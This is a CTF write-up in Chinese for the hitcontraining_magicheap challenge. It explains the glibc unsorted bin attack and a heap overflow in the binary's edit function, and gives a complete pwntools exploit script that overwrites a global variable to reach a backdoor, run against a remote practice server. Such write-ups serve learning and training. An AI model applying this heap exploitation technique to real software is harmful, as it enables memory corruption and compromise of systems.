hitcontraining_magicheap

unsortedbin_attack的重点是
// 当从unsorted bin取出chunk时:
bck = victim->bk;
unsorted_chunks(av)->bk = bck; // 1. 修改链表尾
bck->fd = unsorted_chunks(av); // 2. 关键!向 bck->fd 写入 unsorted bin 地址
victim是unsortedbin里面最后一个,bck是 victim的后一个chunk(在双向链表中)
在 unsorted bin 的双向循环链表中:
unsorted bin: [HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]
fd-> fd-> fd->
<-bk <-bk <-bk
当我们从unsortedbin里面取出chunk的时候
victim->bk指针会赋值给bck
bck->fd会写入到unsortedbin的地址
当我们要取出 chunkB 时:
- victim = chunkB
- bck = victim->bk = chunkC ← 这是victim的后一个chunk
- fwd = victim->fd = chunkA ← 这是victim的前一个chunk
移除前:
fwd victim bck
↓ ↓ ↓
[HEAD] <-> [chunkA] <-> [chunkB] <-> [chunkC] <-> [HEAD]
移除操作:
fwd->bk = bck; // chunkA->bk = chunkC
bck->fd = fwd; // chunkC->fd = chunkA
移除后:
fwd bck
↓ ↓
[HEAD] <-> [chunkA] <-----------> [chunkC] <-> [HEAD]
bk-> <-fd
进入题目
这里看到一个判断
if ( n3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}

这个刚好是后门
0x1305就是4869
这时候想到的就是通过unsortedbin攻击来修改magic的值为一个很大的数来直接通过判断

创建函数

edit这里可以看到
printf("Size of Heap : ");
read(0, buf, 8uLL);
nbytes = atoi(buf);
printf("Content of heap : ");
read_input(*((void **)&heaparray + n0xA), nbytes);
这里虽然读取了重新输入的size,但是并没有重新malloc,所以这里可以任意堆溢出
![[图片]](https://i-blog.csdnimg.cn/direct/740908b676c14e37bc9494e8f494db14.png)
这里指针置空了没有UAF

没有PIE
先写出自动化脚本

from pwn import *
p = process('./magicheap')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap : ',str(size).encode())
p.sendafter(b'Content of heap:',content)
def edit(index, size, content):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index))
p.sendlineafter(b'Size of Heap : ',str(size).encode())
p.sendlineafter(b'Content of heap : ',content)
def delete(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode())
add(0x20,b'a'*0x10) #0 任意修改
add(0x80,b'b'*0x10) #1 unsorted攻击
add(0x20,b'c'*0x10) #2 防止被合并

这里看到成功分配了
现在free掉chunk1
delete(1)

在unsortedbin


0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00000000006030f0 #top
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x0000000000603030 #unsort
现在开始修改bk
我们需要修改的是magic的值


magic = 0x6020a0
fd = 0
bk = magic - 0x10
edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

可以看到chunk1这里的bk被改成了magic-0x10 (fd无所谓)
这时候将free的chunk1申请回来就可以改变这里的值
add(0x80,b'd'*0x10) #1


可以看到这个时候magic的值被改变了这时候输入4869就可以进去到后门函数

EXP:
from pwn import *
context.log_level = 'debug'
#p = process('./magicheap')
p = remote('node5.buuoj.cn',28060)
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Size of Heap : ',str(size).encode())
p.sendafter(b'Content of heap:',content)
def edit(index, size, content):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index))
p.sendlineafter(b'Size of Heap : ',str(size).encode())
p.sendlineafter(b'Content of heap : ',content)
def delete(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index).encode())
add(0x20,b'a'*0x10) #0
add(0x80,b'b'*0x10) #1
add(0x20,b'c'*0x10) #2
delete(1)
magic = 0x6020a0
fd = 0
bk = magic - 0x10
edit(0,0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))
add(0x80,b'd'*0x10) #1
#debug()
p.sendlineafter(b':',b'4869')
p.interactive()
浙公网安备 33010602011771号